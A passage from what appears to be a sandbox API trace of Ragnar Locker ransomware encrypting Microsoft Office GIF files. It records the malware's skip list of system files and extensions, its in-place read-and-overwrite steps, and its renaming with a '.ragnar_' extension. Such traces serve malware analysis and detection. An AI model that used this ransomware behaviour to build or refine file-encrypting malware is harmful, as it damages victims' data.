nNumberOfBytesToUnlockLow=0x460, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.929] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.929] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x460, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.929] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.929] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.930] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.930] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0099.930] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.930] GetProcessHeap () returned 0x580000 [0099.930] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0099.930] CloseHandle (hObject=0x10c) returned 1 [0099.930] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21331_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21331_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21331_.GIF" [0099.930] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21331_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21331_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21331_.GIF.ragnar_FD7BD9FC" [0099.930] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21331_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21331_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21331_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21331_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0099.931] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20d82300, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcdc8c40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x20d82300, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21333_.GIF", cAlternateFileName="")) returned 1 [0099.931] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0099.932] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD21333_.GIF" | out: lpString1="BD21333_.GIF") returned="BD21333_.GIF" [0099.932] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21333_.GIF") returned=".GIF" [0099.932] lstrcmpiW (lpString1="BD21333_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0099.932] lstrcmpiW (lpString1="BD21333_.GIF", lpString2="autorun.inf") returned 1 [0099.932] lstrcmpiW (lpString1="BD21333_.GIF", lpString2="boot.ini") returned -1 [0099.932] lstrcmpiW (lpString1="BD21333_.GIF", lpString2="bootfont.bin") returned -1 [0099.932] lstrcmpiW (lpString1="BD21333_.GIF", lpString2="bootsect.bak") returned -1 [0099.932] lstrcmpiW (lpString1="BD21333_.GIF", lpString2="bootmgr") returned -1 [0099.932] lstrcmpiW (lpString1="BD21333_.GIF", lpString2="bootmgr.efi") returned -1 [0099.932] lstrcmpiW (lpString1="BD21333_.GIF", lpString2="bootmgfw.efi") returned -1 [0099.932] lstrcmpiW (lpString1="BD21333_.GIF", lpString2="desktop.ini") returned -1 [0099.932] lstrcmpiW (lpString1="BD21333_.GIF", lpString2="iconcache.db") returned -1 [0099.932] lstrcmpiW (lpString1="BD21333_.GIF", lpString2="ntldr") returned -1 [0099.932] lstrcmpiW (lpString1="BD21333_.GIF", lpString2="ntuser.dat") returned -1 [0099.932] lstrcmpiW (lpString1="BD21333_.GIF", lpString2="ntuser.dat.log") returned -1 [0099.932] lstrcmpiW (lpString1="BD21333_.GIF", lpString2="ntuser.ini") returned -1 [0099.932] lstrcmpiW (lpString1="BD21333_.GIF", lpString2="thumbs.db") returned -1 [0099.932] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0099.932] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0099.932] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0099.932] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0099.932] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0099.932] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0099.932] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0099.932] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21333_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21333_.gif")) returned 0x20 [0099.932] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21333_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21333_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0099.937] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=416) returned 1 [0099.937] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x197, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.937] GetProcessHeap () returned 0x580000 [0099.937] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0099.937] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0099.940] VirtualAlloc (lpAddress=0x0, dwSize=0x1a0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0099.940] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.940] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0099.940] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1a0, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x1a0, lpOverlapped=0x0) returned 1 [0099.940] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0099.940] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1a0, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.940] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1a0, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x1a0, lpOverlapped=0x0) returned 1 [0099.940] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1a0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.940] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.941] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x1a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.941] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.941] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.941] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.941] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0099.941] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.941] GetProcessHeap () returned 0x580000 [0099.941] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0099.941] CloseHandle (hObject=0x10c) returned 1 [0099.941] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21333_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21333_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21333_.GIF" [0099.941] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21333_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21333_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21333_.GIF.ragnar_FD7BD9FC" [0099.941] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21333_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21333_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21333_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21333_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0099.943] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d449c00, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcdeeda0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1d449c00, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x3cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21335_.GIF", cAlternateFileName="")) returned 1 [0099.943] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0099.943] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD21335_.GIF" | out: lpString1="BD21335_.GIF") returned="BD21335_.GIF" [0099.943] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21335_.GIF") returned=".GIF" [0099.943] lstrcmpiW (lpString1="BD21335_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0099.943] lstrcmpiW (lpString1="BD21335_.GIF", lpString2="autorun.inf") returned 1 [0099.943] lstrcmpiW (lpString1="BD21335_.GIF", lpString2="boot.ini") returned -1 [0099.943] lstrcmpiW (lpString1="BD21335_.GIF", lpString2="bootfont.bin") returned -1 [0099.943] lstrcmpiW (lpString1="BD21335_.GIF", lpString2="bootsect.bak") returned -1 [0099.943] lstrcmpiW (lpString1="BD21335_.GIF", lpString2="bootmgr") returned -1 [0099.943] lstrcmpiW (lpString1="BD21335_.GIF", lpString2="bootmgr.efi") returned -1 [0099.943] lstrcmpiW (lpString1="BD21335_.GIF", lpString2="bootmgfw.efi") returned -1 [0099.943] lstrcmpiW (lpString1="BD21335_.GIF", lpString2="desktop.ini") returned -1 [0099.943] lstrcmpiW (lpString1="BD21335_.GIF", lpString2="iconcache.db") returned -1 [0099.943] lstrcmpiW (lpString1="BD21335_.GIF", lpString2="ntldr") returned -1 [0099.943] lstrcmpiW (lpString1="BD21335_.GIF", lpString2="ntuser.dat") returned -1 [0099.943] lstrcmpiW (lpString1="BD21335_.GIF", lpString2="ntuser.dat.log") returned -1 [0099.943] lstrcmpiW (lpString1="BD21335_.GIF", lpString2="ntuser.ini") returned -1 [0099.943] lstrcmpiW (lpString1="BD21335_.GIF", lpString2="thumbs.db") returned -1 [0099.943] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0099.943] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0099.944] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0099.944] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0099.944] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0099.944] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0099.944] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0099.944] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21335_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21335_.gif")) returned 0x20 [0099.945] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21335_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21335_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0099.945] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=971) returned 1 [0099.945] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3c2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.945] GetProcessHeap () returned 0x580000 [0099.945] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0099.945] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0099.984] VirtualAlloc (lpAddress=0x0, dwSize=0x3cb, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0099.986] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.986] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0099.986] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3cb, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x3cb, lpOverlapped=0x0) returned 1 [0099.987] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0099.987] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3cb, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.987] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3cb, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x3cb, lpOverlapped=0x0) returned 1 [0099.987] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3cb, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.987] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.987] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3cb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.987] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.987] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.989] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.990] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0099.990] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.990] GetProcessHeap () returned 0x580000 [0099.990] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0099.990] CloseHandle (hObject=0x10c) returned 1 [0099.990] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21335_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21335_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21335_.GIF" [0099.990] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21335_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21335_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21335_.GIF.ragnar_FD7BD9FC" [0099.990] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21335_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21335_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21335_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21335_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0099.991] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c136f00, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcdeeda0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1c136f00, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21337_.GIF", cAlternateFileName="")) returned 1 [0099.991] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0099.991] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD21337_.GIF" | out: lpString1="BD21337_.GIF") returned="BD21337_.GIF" [0099.991] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21337_.GIF") returned=".GIF" [0099.991] lstrcmpiW (lpString1="BD21337_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0099.991] lstrcmpiW (lpString1="BD21337_.GIF", lpString2="autorun.inf") returned 1 [0099.991] lstrcmpiW (lpString1="BD21337_.GIF", lpString2="boot.ini") returned -1 [0099.991] lstrcmpiW (lpString1="BD21337_.GIF", lpString2="bootfont.bin") returned -1 [0099.992] lstrcmpiW (lpString1="BD21337_.GIF", lpString2="bootsect.bak") returned -1 [0099.992] lstrcmpiW (lpString1="BD21337_.GIF", lpString2="bootmgr") returned -1 [0099.992] lstrcmpiW (lpString1="BD21337_.GIF", lpString2="bootmgr.efi") returned -1 [0099.992] lstrcmpiW (lpString1="BD21337_.GIF", lpString2="bootmgfw.efi") returned -1 [0099.992] lstrcmpiW (lpString1="BD21337_.GIF", lpString2="desktop.ini") returned -1 [0099.992] lstrcmpiW (lpString1="BD21337_.GIF", lpString2="iconcache.db") returned -1 [0099.992] lstrcmpiW (lpString1="BD21337_.GIF", lpString2="ntldr") returned -1 [0099.992] lstrcmpiW (lpString1="BD21337_.GIF", lpString2="ntuser.dat") returned -1 [0099.992] lstrcmpiW (lpString1="BD21337_.GIF", lpString2="ntuser.dat.log") returned -1 [0099.992] lstrcmpiW (lpString1="BD21337_.GIF", lpString2="ntuser.ini") returned -1 [0099.992] lstrcmpiW (lpString1="BD21337_.GIF", lpString2="thumbs.db") returned -1 [0099.992] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0099.992] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0099.992] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0099.992] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0099.992] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0099.992] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0099.992] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0099.992] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21337_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21337_.gif")) returned 0x20 [0099.992] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21337_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21337_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0099.993] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=326) returned 1 [0099.993] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x13d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.993] GetProcessHeap () returned 0x580000 [0099.993] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0099.993] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0099.994] VirtualAlloc (lpAddress=0x0, dwSize=0x146, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0099.994] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.994] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0099.994] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x146, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x146, lpOverlapped=0x0) returned 1 [0099.994] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0099.994] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x146, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.994] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x146, lpOverlapped=0x0) returned 1 [0099.995] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x146, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.995] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.995] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x146, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.995] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, 